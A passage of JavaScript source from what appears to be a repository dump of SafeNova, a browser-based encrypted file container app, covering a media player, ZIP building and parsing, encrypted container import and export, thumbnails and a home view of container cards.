viewBox=\"0 0 16 16\" fill=\"none\"><path d=\"M2 6h3l4-3v10l-4-3H2z\" fill=\"currentColor\"/><path d=\"M12 5l4 6M16 5l-4 6\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"round\"/></svg>';\n  btnVol.innerHTML = volIcon;\n  btnVol.addEventListener('click', () => {\n    media.muted = !media.muted;\n    btnVol.innerHTML = media.muted ? muteIcon : volIcon;\n    vol.value = media.muted ? 0 : media.volume;\n  });\n\n  const vol = document.createElement('input');\n  vol.type = 'range'; vol.className = 'player-vol'; vol.min = 0; vol.max = 1; vol.step = 0.01; vol.value = 1;\n  vol.addEventListener('input', () => {\n    media.volume = vol.value;\n    media.muted  = vol.value == 0;\n    btnVol.innerHTML = media.muted ? muteIcon : volIcon;\n  });\n\n  controls.appendChild(btnPlay);\n  controls.appendChild(seek);\n  controls.appendChild(timeLabel);\n  controls.appendChild(btnVol);\n  controls.appendChild(vol);\n\n  // Fullscreen button (video only)\n  if (kind !== 'audio') {\n    const btnFs = document.createElement('button');\n    btnFs.className = 'player-btn';\n    btnFs.title = 'Fullscreen (F)';\n    const fsEnterIcon = '<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\"><path d=\"M1 1h4M1 1v4M15 1h-4M15 1v4M1 15h4M1 15v-4M15 15h-4M15 15v-4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\"/></svg>';\n    const fsExitIcon  = '<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\"><path d=\"M5 1v4H1M11 1v4h4M5 15v-4H1M11 15v-4h4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\"/></svg>';\n    btnFs.innerHTML = fsEnterIcon;\n    btnFs.addEventListener('click', () => {\n      if (!document.fullscreenElement) wrap.requestFullscreen?.();\n      else document.exitFullscreen?.();\n    });\n    const _onFsChange = () => { btnFs.innerHTML = document.fullscreenElement ? fsExitIcon : fsEnterIcon; };\n    document.addEventListener('fullscreenchange', _onFsChange);\n    wrap._cleanupFs = () => document.removeEventListener('fullscreenchange', _onFsChange);\n    controls.appendChild(btnFs);\n\n    // Click on video = play/pause; double-click = toggle fullscreen\n    let _lastClick = 0;\n    media.addEventListener('click', () => {\n      const now = Date.now();\n      if (now - _lastClick < 300) {\n        // Double-click: toggle fullscreen\n        if (!document.fullscreenElement) wrap.requestFullscreen?.();\n        else document.exitFullscreen?.();\n      } else {\n        media.paused ? media.play() : media.pause();\n      }\n      _lastClick = now;\n    });\n  }\n\n  // Keyboard shortcuts: Space = play/pause, ←/→ = ±5s, F = fullscreen, M = mute\n  const _onKey = e => {\n    if (!wrap.isConnected) return;\n    const tag = e.target?.tagName;\n    if (tag === 'INPUT' || tag === 'TEXTAREA' || tag === 'BUTTON') return;\n    if (e.code === 'Space')       { e.preventDefault(); media.paused ? media.play() : media.pause(); }\n    if (e.code === 'ArrowLeft')   { e.preventDefault(); media.currentTime = Math.max(0, media.currentTime - 5); }\n    if (e.code === 'ArrowRight')  { e.preventDefault(); media.currentTime = Math.min(media.duration || Infinity, media.currentTime + 5); }\n    if (e.code === 'KeyF' && kind !== 'audio') {\n      e.preventDefault();\n      if (!document.fullscreenElement) wrap.requestFullscreen?.();\n      else document.exitFullscreen?.();\n    }\n    if (e.code === 'KeyM') { e.preventDefault(); media.muted = !media.muted; btnVol.innerHTML = media.muted ? muteIcon : volIcon; vol.value = media.muted ? 0 : media.volume; }\n  };\n  document.addEventListener('keydown', _onKey);\n  wrap._cleanupKeyboard = () => document.removeEventListener('keydown', _onKey);\n\n  wrap.appendChild(controls);\n  return wrap;\n}\n\nfunction closeViewer() {\n  // Stop any playing media, cleanup event listeners\n  const content = document.getElementById('viewer-content');\n  content.querySelectorAll('audio, video').forEach(el => { el.pause(); el.src = ''; });\n  content.querySelectorAll('.twc-player').forEach(p => { p._cleanupKeyboard?.(); p._cleanupFs?.(); });\n  if (_viewerBlob) { URL.revokeObjectURL(_viewerBlob.url); _viewerBlob = null; }\n  Overlay.hide();\n}\n\n/* ============================================================\n   CLIPBOARD VISUAL / CUT FEEDBACK\n   ============================================================ */\nfunction _applyCutStyles() {\n  document.querySelectorAll('.file-item.cut-item').forEach(el => el.classList.remove('cut-item'));\n  if (App.clipboard?.op === 'cut') {\n    App.clipboard.ids.forEach(id => {\n      document.querySelectorAll(`.file-item[data-id=\"${id}\"]`).forEach(el => el.classList.add('cut-item'));\n    });\n  }\n}\n\nfunction cancelClipboard() {\n  App.clipboard = null;\n  _applyCutStyles();\n}\n\n/* ============================================================\n   ZIP EXPORT  (pure JS, no compression — stored only)\n   ============================================================ */\nfunction _escXml(s) {\n  return String(s).replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/\"/g,'&quot;');\n}\n\nfunction _readZip(buffer) {\n  const view = new DataView(buffer);\n  const u8   = new Uint8Array(buffer);\n  const size = buffer.byteLength;\n  let eocdOffset = -1;\n  for (let i = size - 22; i >= Math.max(0, size - 65558); i--) {\n    if (view.getUint32(i, true) === 0x06054b50) { eocdOffset = i; break; }\n  }\n  if (eocdOffset < 0) throw new Error('Not a valid ZIP file');\n  const cdCount  = view.getUint16(eocdOffset + 8,  true);\n  const cdOffset = view.getUint32(eocdOffset + 16, true);\n  const dec = new TextDecoder('utf-8');\n  const entries = {};\n  let pos = cdOffset;\n  for (let i = 0; i < cdCount; i++) {\n    if (view.getUint32(pos, true) !== 0x02014b50) break;\n    const fnLen  = view.getUint16(pos + 28, true);\n    const exLen  = view.getUint16(pos + 30, true);\n    const cmLen  = view.getUint16(pos + 32, true);\n    const lhOff  = view.getUint32(pos + 42, true);\n    const fn     = dec.decode(u8.subarray(pos + 46, pos + 46 + fnLen));\n    const lhFnLen = view.getUint16(lhOff + 26, true);\n    const lhExLen = view.getUint16(lhOff + 28, true);\n    const dataOff = lhOff + 30 + lhFnLen + lhExLen;\n    const dataLen = view.getUint32(lhOff + 22, true);\n    entries[fn]   = u8.slice(dataOff, dataOff + dataLen);\n    pos += 46 + fnLen + exLen + cmLen;\n  }\n  return entries;\n}\nfunction _crc32(data) {\n  if (!_crc32._t) {\n    const t = new Uint32Array(256);\n    for (let n = 0; n < 256; n++) {\n      let c = n;\n      for (let k = 0; k < 8; k++) c = (c & 1) ? 0xEDB88320 ^ (c >>> 1) : (c >>> 1);\n      t[n] = c;\n    }\n    _crc32._t = t;\n  }\n  const table = _crc32._t;\n  let crc = 0xFFFFFFFF;\n  for (let i = 0; i < data.length; i++) crc = table[(crc ^ data[i]) & 0xFF] ^ (crc >>> 8);\n  return (crc ^ 0xFFFFFFFF) >>> 0;\n}\n\nfunction _buildZip(entries) {\n  // entries: [ { name: string, data: Uint8Array, mtime?: number } ]\n  const enc = new TextEncoder();\n  const locals = [], centralDir = [];\n  let offset = 0;\n\n  function dosDT(ts) {\n    const d = new Date(ts || Date.now());\n    return {\n      t: ((d.getHours() << 11) | (d.getMinutes() << 5) | Math.floor(d.getSeconds() / 2)),\n      d: (((d.getFullYear() - 1980) << 9) | ((d.getMonth() + 1) << 5) | d.getDate())\n    };\n  }\n\n  for (const entry of entries) {\n    const nm   = enc.encode(entry.name);\n    const data = entry.data instanceof Uint8Array ? entry.data : new Uint8Array(entry.data);\n    const crc  = _crc32(data);\n    const sz   = data.length;\n    const { t: mt, d: md } = dosDT(entry.mtime);\n\n    const lh = new Uint8Array(30 + nm.length);\n    const lv = new DataView(lh.buffer);\n    lv.setUint32(0, 0x04034b50, true);  lv.setUint16(4, 20, true);\n    lv.setUint16(6, 0x0800, true);      lv.setUint16(8, 0, true);  // 0x0800 = UTF-8 filename flag\n    lv.setUint16(10, mt, true);         lv.setUint16(12, md, true);\n    lv.setUint32(14, crc, true);        lv.setUint32(18, sz, true);\n    lv.setUint32(22, sz, true);         lv.setUint16(26, nm.length, true);\n    lv.setUint16(28, 0, true);          lh.set(nm, 30);\n    locals.push(lh, data);\n\n    const cd = new Uint8Array(46 + nm.length);\n    const cv = new DataView(cd.buffer);\n    cv.setUint32(0, 0x02014b50, true);  cv.setUint16(4, 20, true);  cv.setUint16(6, 20, true);\n    cv.setUint16(8, 0x0800, true);      cv.setUint16(10, 0, true);  // 0x0800 = UTF-8 filename flag\n    cv.setUint16(12, mt, true);         cv.setUint16(14, md, true);\n    cv.setUint32(16, crc, true);        cv.setUint32(20, sz, true);  cv.setUint32(24, sz, true);\n    cv.setUint16(28, nm.length, true);  cv.setUint16(30, 0, true);  cv.setUint16(32, 0, true);\n    cv.setUint16(34, 0, true);          cv.setUint16(36, 0, true);  cv.setUint32(38, 0, true);\n    cv.setUint32(42, offset, true);     cd.set(nm, 46);\n    centralDir.push(cd);\n\n    offset += 30 + nm.length + sz;\n  }\n\n  const cdSz = centralDir.reduce((s, a) => s + a.length, 0);\n  const eocd = new Uint8Array(22);\n  const ev   = new DataView(eocd.buffer);\n  ev.setUint32(0, 0x06054b50, true);  ev.setUint16(4, 0, true);  ev.setUint16(6, 0, true);\n  ev.setUint16(8, entries.length, true);  ev.setUint16(10, entries.length, true);\n  ev.setUint32(12, cdSz, true);  ev.setUint32(16, offset, true);  ev.setUint16(20, 0, true);\n\n  const all = [...locals, ...centralDir, eocd];\n  let total = 0; for (const p of all) total += p.length;\n  const out = new Uint8Array(total);\n  let off = 0; for (const p of all) { out.set(p, off); off += p.length; }\n  return out;\n}\n\nasync function exportAsZip(nodeIds, zipName) {\n  if (!App.key || !App.container) return;\n  if (!zipName) {\n    zipName = nodeIds.length === 1\n      ? (VFS.node(nodeIds[0])?.name?.replace(/\\.[^.]+$/, '') || 'export') + '.zip'\n      : 'export.zip';\n  }\n  showLoading('Preparing ZIP…');\n  try {\n    const entries = [];\n    async function collectFiles(nodeId, prefix) {\n      const n = VFS.node(nodeId); if (!n) return;\n      if (n.type === 'folder') {\n        for (const c of VFS.children(nodeId)) await collectFiles(c.id, prefix + n.name + '/');\n      } else {\n        const rec = await DB.getFile(nodeId); if (!rec) return;\n        const buf = await Crypto.decryptBin(App.key, rec.iv, rec.blob);\n        entries.push({ name: prefix + n.name, data: new Uint8Array(buf), mtime: n.mtime || n.ctime });\n      }\n    }\n    for (const id of nodeIds) await collectFiles(id, '');\n    if (!entries.length) { toast('Nothing to export', 'warn'); hideLoading(); return; }\n    const zip = _buildZip(entries);\n    downloadBuf(zip.buffer, zipName, 'application/zip');\n    toast(`Exported ${entries.length} file${entries.length !== 1 ? 's' : ''} as ZIP`, 'success');\n  } catch (e) { toast('ZIP export failed: ' + e.message, 'error'); console.error(e); }\n  hideLoading();\n}\n\n/* ============================================================\n   CONTAINER IMPORT / EXPORT\n   ============================================================ */\n\n// Safe base64 for large ArrayBuffers (avoids stack overflow from spread)\nfunction _buf2b64Safe(buf) {\n  const u8 = buf instanceof Uint8Array ? buf : new Uint8Array(buf);\n  let str = '', CHUNK = 8192;\n  for (let i = 0; i < u8.length; i += CHUNK)\n    str += String.fromCharCode(...u8.subarray(i, Math.min(i + CHUNK, u8.length)));\n  return btoa(str);\n}\n\n/** Prompt for password to derive the container key before exporting a locked container */\nfunction _askExportPassword(c) {\n  return new Promise(resolve => {\n    document.getElementById('exp-cont-name').textContent = c.name;\n    document.getElementById('exp-pw').value = '';\n    document.getElementById('exp-error').textContent = '';\n    document.getElementById('exp-ok').disabled = false;\n    Overlay.show('modal-export-pw');\n    setTimeout(() => document.getElementById('exp-pw').focus(), 100);\n\n    const cleanup = () => {\n      Overlay.hide();\n      document.getElementById('exp-ok').onclick    = null;\n      document.getElementById('exp-cancel').onclick = null;\n      document.getElementById('exp-close').onclick  = null;\n      document.getElementById('exp-pw').onkeydown   = null;\n    };\n\n    const doExport = async () => {\n      const pw = document.getElementById('exp-pw').value;\n      const errEl = document.getElementById('exp-error');\n      if (!pw) { errEl.textContent = 'Enter password'; return; }\n      errEl.textContent = '';\n      const btnOk = document.getElementById('exp-ok');\n      btnOk.disabled = true;\n      try {\n        const key = await Crypto.deriveKey(pw, new Uint8Array(c.salt));\n        const ok  = await Crypto.checkVerification(key, c.verIv, c.verBlob);\n        if (!ok) { errEl.textContent = 'Incorrect password'; btnOk.disabled = false; return; }\n        cleanup();\n        resolve(key);\n      } catch (e) {\n        errEl.textContent = 'Error: ' + e.message;\n        btnOk.disabled = false;\n      }\n    };\n\n    document.getElementById('exp-ok').onclick    = doExport;\n    document.getElementById('exp-cancel').onclick = () => { cleanup(); resolve(null); };\n    document.getElementById('exp-close').onclick  = () => { cleanup(); resolve(null); };\n    document.getElementById('exp-pw').onkeydown   = e => { if (e.key === 'Enter') doExport(); };\n  });\n}\n\nasync function exportContainerFile(c) {\n  showLoading('Exporting container…');\n  try {\n    const vfsRec   = await DB.getVFS(c.id);\n    const fileRecs = await DB.getFilesByCid(c.id);\n    const now      = Date.now();\n\n    // Build file manifest and workspace.bin\n    const blobParts = [];\n    let offset = 0;\n    const fileManifest = fileRecs.map(f => {\n      const data  = new Uint8Array(f.blob instanceof ArrayBuffer ? f.blob : f.blob);\n      const ivB64 = btoa(String.fromCharCode(...new Uint8Array(f.iv instanceof Array ? f.iv : f.iv)));\n      const entry = { id: f.id, ivB64, offset, size: data.length };\n      blobParts.push(data);\n      offset += data.length;\n      return entry;\n    });\n\n    // Concat all file blobs → safenova_efs/workspace.bin\n    const workspaceBin = new Uint8Array(offset);\n    let wOff = 0;\n    for (const part of blobParts) { workspaceBin.set(part, wOff); wOff += part.length; }\n\n    // Encrypt file manifest with the container key\n    const manifestJson = JSON.stringify(fileManifest);\n    let key = (App.container?.id === c.id) ? App.key : null;\n    if (!key) {\n      hideLoading();\n      key = await _askExportPassword(c);\n      if (!key) return;\n      showLoading('Exporting container\\u2026');\n    }\n    const encManifest = await Crypto.encrypt(key, manifestJson);\n    const encManifestIv   = new Uint8Array(encManifest.iv);\n    const encManifestBlob = new Uint8Array(b642buf(encManifest.blob));\n\n    // VFS bytes → meta/0 (iv raw), meta/1 (blob raw)\n    const vfsIvData   = vfsRec ? new Uint8Array(vfsRec.iv)    : new Uint8Array(0);\n    const vfsBlobData = vfsRec ? new Uint8Array(b642buf(vfsRec.blob)) : new Uint8Array(0);\n\n    // container.xml — file manifest is encrypted, no <files> in plaintext\n    const saltB64  = btoa(String.fromCharCode(...new Uint8Array(c.salt)));\n    const verIvB64 = btoa(String.fromCharCode(...new Uint8Array(c.verIv)));\n    const xmlLines = [\n      '<?xml version=\"1.0\" encoding=\"UTF-8\"?>',\n      `<safenova version=\"3\" exportedAt=\"${now}\">`,\n      '  <container>',\n      `    <name>${_escXml(c.name)}</name>`,\n      `    <createdAt>${c.createdAt}</createdAt>`,\n      `    <salt>${saltB64}</salt>`,\n      `    <verIv>${verIvB64}</verIv>`,\n      `    <verBlob>${c.verBlob}</verBlob>`,\n      `    <totalSize>${c.totalSize || 0}</totalSize>`,\n      '  </container>',\n      '  <files encrypted=\"true\"/>',\n      '</safenova>',\n    ];\n    const xmlData = new TextEncoder().encode(xmlLines.join('\\n'));\n\n    const entries = [\n      { name: 'container.xml',              data: xmlData,          mtime: now },\n      { name: 'meta/0',                     data: vfsIvData,        mtime: now },\n      { name: 'meta/1',                     data: vfsBlobData,      mtime: now },\n      { name: 'meta/2',                     data: encManifestIv,    mtime: now },\n      { name: 'meta/3',                     data: encManifestBlob,  mtime: now },\n      { name: 'safenova_efs/workspace.bin', data: workspaceBin,     mtime: now },\n    ];\n    const zip     = _buildZip(entries);\n    const dateStr = new Date(now).toISOString().slice(0, 10);\n    downloadBuf(zip.buffer, `SafeNova_${c.name}_${dateStr}.safenova`, 'application/octet-stream');\n    toast(`Container \"${c.name}\" exported`, 'success');\n  } catch (e) { toast('Export failed: ' + e.message, 'error'); console.error(e); }\n  hideLoading();\n}\n\nasync function importContainerFile(file) {\n  if (!file) return;\n  showLoading('Importing container…');\n  try {\n    const arrayBuf = await file.arrayBuffer();\n    const u8first  = new Uint8Array(arrayBuf, 0, 2);\n    const isZip    = u8first[0] === 0x50 && u8first[1] === 0x4B;\n\n    if (isZip) {\n      const entries = _readZip(arrayBuf);\n      if (!entries['container.xml'] || !entries['meta/0'] || !entries['meta/1'] || !entries['safenova_efs/workspace.bin'])\n        throw new Error('Invalid SafeNova file: missing required entries');\n\n      const xmlText = new TextDecoder('utf-8').decode(entries['container.xml']);\n      const doc     = new DOMParser().parseFromString(xmlText, 'text/xml');\n      const getText = (parent, sel) => { const el = parent.querySelector(sel); return el ? el.textContent.trim() : null; };\n\n      const nameRaw   = getText(doc, 'container > name');\n      const createdAt = parseInt(getText(doc, 'container > createdAt') || '0', 10);\n      const saltB64   = getText(doc, 'container > salt');\n      const verIvB64  = getText(doc, 'container > verIv');\n      const verBlob   = getText(doc, 'container > verBlob');\n      const totalSize = parseInt(getText(doc, 'container > totalSize') || '0', 10);\n\n      if (!nameRaw || !saltB64 || !verIvB64 || !verBlob)\n        throw new Error('Invalid container.xml: missing required fields');\n\n      const salt  = Array.from(Uint8Array.from(atob(saltB64),  ch => ch.charCodeAt(0)));\n      const verIv = Array.from(Uint8Array.from(atob(verIvB64), ch => ch.charCodeAt(0)));\n\n      // Detect format version — v3 has encrypted file manifest\n      const filesEl    = doc.querySelector('files');\n      const isV3       = filesEl && filesEl.getAttribute('encrypted') === 'true';\n      const versionStr = doc.querySelector('safenova')?.getAttribute('version');\n\n      if (isV3 && entries['meta/2'] && entries['meta/3']) {\n        // v3: import without password — encrypted workspace stored as-is, expanded on first unlock\n        const existing2 = await DB.getContainers();\n        let name = nameRaw, suffix = 2;\n        while (existing2.find(x => x.name.toLowerCase() === name.toLowerCase()))\n          name = nameRaw + ' (' + suffix++ + ')';\n\n        const newCid = uid();\n        await DB.saveContainer({\n          id: newCid, name, createdAt, salt, verIv, verBlob, totalSize,\n          lazyWorkspace: {\n            bin:   entries['safenova_efs/workspace.bin'],\n            mIv:   entries['meta/2'],\n            mBlob: entries['meta/3'],\n          }\n        });\n        await DB.saveVFS(newCid, Array.from(entries['meta/0']), buf2b64(entries['meta/1']));\n        hideLoading();\n        toast(`Container \"${name}\" imported`, 'success');\n        await Home.render();\n        return;\n      }\n\n      // v2 legacy: plaintext <files> in XML\n      const fileManifest = [...doc.querySelectorAll('files > file')].map(el => ({\n        id:    el.getAttribute('id'),\n        ivB64: el.getAttribute('iv'),\n        offset: parseInt(el.getAttribute('offset'), 10),\n        size:   parseInt(el.getAttribute('size'),   10),\n      }));\n\n      const existing = await DB.getContainers();\n      let name = nameRaw, suffix = 2;\n      while (existing.find(c => c.name.toLowerCase() === name.toLowerCase()))\n        name = nameRaw + ' (' + suffix++ + ')';\n\n      const vfsIvArr   = Array.from(entries['meta/0']);\n      const vfsBlobB64 = buf2b64(entries['meta/1']);\n      const workspace  = entries['safenova_efs/workspace.bin'];\n\n      const newCid    = uid();\n      const newCont   = { id: newCid, name, createdAt, salt, verIv, verBlob, totalSize };\n      const savedIds  = [];\n      await DB.saveContainer(newCont);\n      await DB.saveVFS(newCid, vfsIvArr, vfsBlobB64);\n      try {\n        for (const m of fileManifest) {\n          const iv   = Array.from(Uint8Array.from(atob(m.ivB64), ch => ch.charCodeAt(0)));\n          const blob = workspace.slice(m.offset, m.offset + m.size).buffer;\n          await DB.saveFile({ id: m.id, cid: newCid, iv, blob });\n          savedIds.push(m.id);\n        }\n      } catch (saveErr) {\n        for (const fid of savedIds)  { try { await DB.deleteFile(fid); }      catch (_) {} }\n        try { await DB.deleteVFS(newCid); }       catch (_) {}\n        try { await DB.deleteContainer(newCid); } catch (_) {}\n        throw new Error('Import rolled back: ' + saveErr.message);\n      }\n      hideLoading();\n      toast(`Container \"${name}\" imported`, 'success');\n      await Home.render();\n\n    } else {\n      throw new Error('Unsupported file format. Please use a .safenova export.');\n    }\n  } catch (e) {\n    hideLoading();\n    toast('Import failed: ' + e.message, 'error');\n    console.error(e);\n  }\n}\n\n/** Prompt user for password to decrypt encrypted file manifest (v3 format) */\nfunction _askImportPassword(containerName, salt, verIv, verBlob, zipEntries) {\n  return new Promise(resolve => {\n    document.getElementById('imp-name').textContent = containerName;\n    document.getElementById('imp-pw').value = '';\n    document.getElementById('imp-error').innerHTML = '';\n    Overlay.show('modal-import-pw');\n    setTimeout(() => document.getElementById('imp-pw').focus(), 100);\n\n    const cleanup = () => {\n      Overlay.hide();\n      btnOk.onclick     = null;\n      btnCancel.onclick  = null;\n      btnClose.onclick   = null;\n      pwInput.onkeydown  = null;\n    };\n\n    const btnOk     = document.getElementById('imp-ok');\n    const btnCancel = document.getElementById('imp-cancel');\n    const btnClose  = document.getElementById('imp-close');\n    const pwInput   = document.getElementById('imp-pw');\n    const errEl     = document.getElementById('imp-error');\n\n    const doImport = async () => {\n      const pw = pwInput.value;\n      if (!pw) { errEl.textContent = 'Enter password'; return; }\n      errEl.textContent = '';\n      btnOk.disabled = true;\n      try {\n        const key = await Crypto.deriveKey(pw, new Uint8Array(salt));\n        const ok  = await Crypto.checkVerification(key, verIv, verBlob);\n        if (!ok) {\n          errEl.textContent = 'Incorrect password';\n          btnOk.disabled = false;\n          return;\n        }\n        // Decrypt file manifest from meta/2 (iv) + meta/3 (blob)\n        const mIv   = Array.from(zipEntries['meta/2']);\n        const mBlob = buf2b64(zipEntries['meta/3']);\n        const decBuf = await Crypto.decrypt(key, mIv, mBlob);\n        const manifest = JSON.parse(new TextDecoder().decode(decBuf));\n        cleanup();\n        resolve(manifest);\n      } catch (e) {\n        errEl.textContent = 'Decryption failed: ' + e.message;\n        btnOk.disabled = false;\n      }\n    };\n\n    btnOk.onclick    = doImport;\n    btnCancel.onclick = () => { cleanup(); resolve(null); };\n    btnClose.onclick  = () => { cleanup(); resolve(null); };\n    pwInput.onkeydown = e => { if (e.key === 'Enter') doImport(); };\n  });\n}\n\n/* ============================================================\n   THUMBNAIL GENERATION  (async, cached)\n   ============================================================ */\nasync function generateThumb(node) {\n  if (!App.key || !App.container) return null;\n  try {\n    const rec = await DB.getFile(node.id); if (!rec) return null;\n    const buf  = await Crypto.decryptBin(App.key, rec.iv, rec.blob);\n    const mime = node.mime || getMime(node.name);\n    if (!isImage(mime)) return null;\n\n    const blob = new Blob([buf], { type: mime });\n    const url  = URL.createObjectURL(blob);\n    return new Promise(res => {\n      const img = new Image();\n      img.onload = () => {\n        const canvas = document.createElement('canvas');\n        canvas.width = canvas.height = 56;\n        const ctx   = canvas.getContext('2d');\n        const scale = Math.min(56 / img.width, 56 / img.height);\n        const w     = img.width * scale, h = img.height * scale;\n        ctx.fillStyle = '#2d2d30'; ctx.fillRect(0, 0, 56, 56);\n        ctx.drawImage(img, (56 - w) / 2, (56 - h) / 2, w, h);\n        URL.revokeObjectURL(url);\n        res(canvas.toDataURL('image/jpeg', 0.75));\n      };\n      img.onerror = () => { URL.revokeObjectURL(url); res(null); };\n      img.src = url;\n    });\n  } catch { return null; }\n}\n"
  },
  {
    "path": "safenova/js/home.js",
    "content": "'use strict';\n\n/* ============================================================\n   HOME VIEW\n   ============================================================ */\n\nfunction _loadCardOrder() {\n  try { return JSON.parse(localStorage.getItem('snv-card-order') || '[]'); } catch { return []; }\n}\nfunction _saveCardOrder(ids) {\n  localStorage.setItem('snv-card-order', JSON.stringify(ids));\n}\n\nconst Home = {\n  async render() {\n    const grid  = document.getElementById('container-grid');\n    const empty = document.getElementById('container-empty');\n    const containers = await DB.getContainers();\n\n    grid.querySelectorAll('.container-card').forEach(c => c.remove());\n\n    if (containers.length === 0) {\n      empty.style.display = 'flex';\n    } else {\n      empty.style.display = 'none';\n      const savedOrder = _loadCardOrder();\n      containers.sort((a, b) => {\n        const ia = savedOrder.indexOf(a.id), ib = savedOrder.indexOf(b.id);\n        if (ia === -1 && ib === -1) return b.createdAt - a.createdAt;\n        if (ia === -1) return 1;\n        if (ib === -1) return -1;\n        return ia - ib;\n      });\n      containers.forEach(c => grid.appendChild(this._makeCard(c)));\n    }\n    await updateStorageInfo();\n\n    // ---- Persistent visibility: warning box (only when 1+ container exists) ----\n    const warnBox   = document.getElementById('home-warning-box');\n    const dismissBtn = document.getElementById('warning-dismiss');\n    if (warnBox) {\n      const shouldShow = containers.length > 0 && localStorage.getItem('snv-warn-hide') !== '1';\n      warnBox.classList.toggle('hidden', !shouldShow);\n      if (dismissBtn) {\n        dismissBtn.onclick = () => {\n          warnBox.classList.add('hidden');\n          localStorage.setItem('snv-warn-hide', '1');\n        };\n      }\n    }\n\n    // ---- Persistent visibility: doc block ----\n    const docEl      = document.getElementById('home-doc');\n    const docTab     = document.getElementById('home-doc-tab');\n    const collapseBtn = document.getElementById('home-doc-collapse');\n    const _applyDoc  = (hidden) => {\n      if (!docEl || !docTab) return;\n      docEl.classList.toggle('collapsed', hidden);\n      docTab.classList.toggle('visible',  hidden);\n    };\n    // Disable transition during initial render to avoid animating on page load\n    if (docEl) docEl.style.transition = 'none';\n    _applyDoc(localStorage.getItem('snv-doc-hide') === '1');\n    // Remove the pre-hide html class now that the correct class is set\n    document.documentElement.classList.remove('snv-doc-hidden');\n    // Re-enable transitions after layout settles\n    if (docEl) requestAnimationFrame(() => { docEl.style.transition = ''; });\n    if (collapseBtn) {\n      collapseBtn.onclick = () => {\n        localStorage.setItem('snv-doc-hide', '1');\n        _applyDoc(true);\n      };\n    }\n    if (docTab) {\n      docTab.onclick = () => {\n        localStorage.setItem('snv-doc-hide', '0');\n        _applyDoc(false);\n      };\n    }\n  },\n\n  _makeCard(c) {\n    const pct     = Math.min((c.totalSize || 0) / CONTAINER_LIMIT * 100, 100);\n    const fill    = pct > 90 ? 'danger' : pct > 70 ? 'warn' : '';\n    const hasSess = !!(sessionStorage.getItem('twc-s-' + c.id) || localStorage.getItem('twc-s-' + c.id));\n    const card    = document.createElement('div');\n    card.className  = 'container-card';\n    card.dataset.id = c.id;\n    card.innerHTML  = `\n      <div class=\"container-drag-handle\" title=\"Drag to reorder\">\n        <svg width=\"10\" height=\"14\" viewBox=\"0 0 10 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n          <circle cx=\"3\" cy=\"2.5\"  r=\"1.2\" fill=\"currentColor\"/>\n          <circle cx=\"7\" cy=\"2.5\"  r=\"1.2\" fill=\"currentColor\"/>\n          <circle cx=\"3\" cy=\"7\"    r=\"1.2\" fill=\"currentColor\"/>\n          <circle cx=\"7\" cy=\"7\"    r=\"1.2\" fill=\"currentColor\"/>\n          <circle cx=\"3\" cy=\"11.5\" r=\"1.2\" fill=\"currentColor\"/>\n          <circle cx=\"7\" cy=\"11.5\" r=\"1.2\" fill=\"currentColor\"/>\n        </svg>\n      </div>\n      <div class=\"container-card-header\">\n        <div class=\"container-card-icon\">\n          <svg viewBox=\"0 0 32 32\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n            <path d=\"M16 2L3.5 7v9c0 9 5 13.4 12.5 14.5C19.5 29.4 28.5 25 28.5 16V7z\" fill=\"#0078d4\" opacity=\".9\"/>\n            <path d=\"M16 3.5L5 8v8.5c0 7.5 4 11.5 11 12.5\" fill=\"none\" stroke=\"rgba(255,255,255,.15)\" stroke-width=\"1\"/>\n            <path d=\"M19.5 6L11 18.5h6.5L13.5 27 24 14h-6.5z\" fill=\"#4ec9b0\" stroke=\"rgba(255,255,255,.2)\" stroke-width=\".7\" stroke-linejoin=\"round\"/>\n          </svg>\n        </div>\n        <div>\n          <div class=\"container-card-name\">${escHtml(c.name)}</div>\n          <div class=\"container-card-date\">${fmtDate(c.createdAt)}</div>\n        </div>\n      </div>\n      <div class=\"container-card-body\">\n        <div class=\"container-bar-wrap\">\n          <div class=\"container-bar-fill ${fill}\" style=\"width:${pct.toFixed(1)}%\"></div>\n        </div>\n        <div class=\"container-card-sizes\">\n          <span>${fmtSize(c.totalSize || 0)} used</span>\n          <span>${fmtSize(CONTAINER_LIMIT - (c.totalSize || 0))} free</span>\n        </div>\n      </div>\n      ${hasSess ? `<div class=\"session-badge\" title=\"Active session — click to resume\">\n        <svg width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n          <circle cx=\"6\" cy=\"6\" r=\"5\" stroke=\"currentColor\" stroke-width=\"1.3\"/>\n          <path d=\"M4 6l1.5 1.5L8.5 4\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"square\"/>\n        </svg>\n        Session active\n      </div>` : ''}\n      <div class=\"container-card-menu\" data-id=\"${c.id}\" title=\"Options\">\n        <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n          <circle cx=\"8\" cy=\"3\"  r=\"1.2\" fill=\"currentColor\"/>\n          <circle cx=\"8\" cy=\"8\"  r=\"1.2\" fill=\"currentColor\"/>\n          <circle cx=\"8\" cy=\"13\" r=\"1.2\" fill=\"currentColor\"/>\n        </svg>\n      </div>\n    `;\n\n    // Drag-to-reorder via handle — whole card used as ghost image\n    const handle = card.querySelector('.container-drag-handle');\n    handle.setAttribute('draggable', 'true');\n    handle.addEventListener('dragstart', e => {\n      e.dataTransfer.setData('text/plain', c.id);\n      e.dataTransfer.effectAllowed = 'move';\n      // Use the full card as ghost image so it looks like the whole card is being dragged\n      const rect = card.getBoundingClientRect();\n      e.dataTransfer.setDragImage(card, e.clientX - rect.left, e.clientY - rect.top);\n      // Delay adding source class so ghost is captured before card fades\n      requestAnimationFrame(() => card.classList.add('drag-reorder-source'));\n      e.stopPropagation();\n    });\n    handle.addEventListener('dragend', () => card.classList.remove('drag-reorder-source'));\n    card.addEventListener('dragover', e => {\n      e.preventDefault();\n      e.dataTransfer.dropEffect = 'move';\n      card.classList.add('drag-reorder-over');\n    });\n    card.addEventListener('dragleave', e => {\n      if 